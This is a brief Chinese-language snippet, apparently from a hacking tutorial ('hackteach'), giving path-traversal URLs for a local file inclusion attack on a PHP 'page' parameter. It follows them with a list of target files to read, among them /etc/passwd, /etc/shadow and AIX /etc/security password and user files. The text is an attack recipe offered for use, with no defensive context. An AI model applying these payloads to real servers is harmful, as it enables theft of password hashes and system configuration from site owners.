你可以这样使用
http://www.xxx.com/index.PHP?page=../etc/passwd
http://www.xxx.com/index.PHP?page=../../../etc/passwd
http://www.xxx.com/index.PHP?page=..../../etc/passwd 获取更多数据:
etc/profile
etc/services
/etc/passwd
/etc/shadow
/etc/group
/etc/security/group
/etc/security/passwd
/etc/security/user
/etc/security/environ
/etc/security/limits
/usr/lib/security/mkuser.default 来自hackteach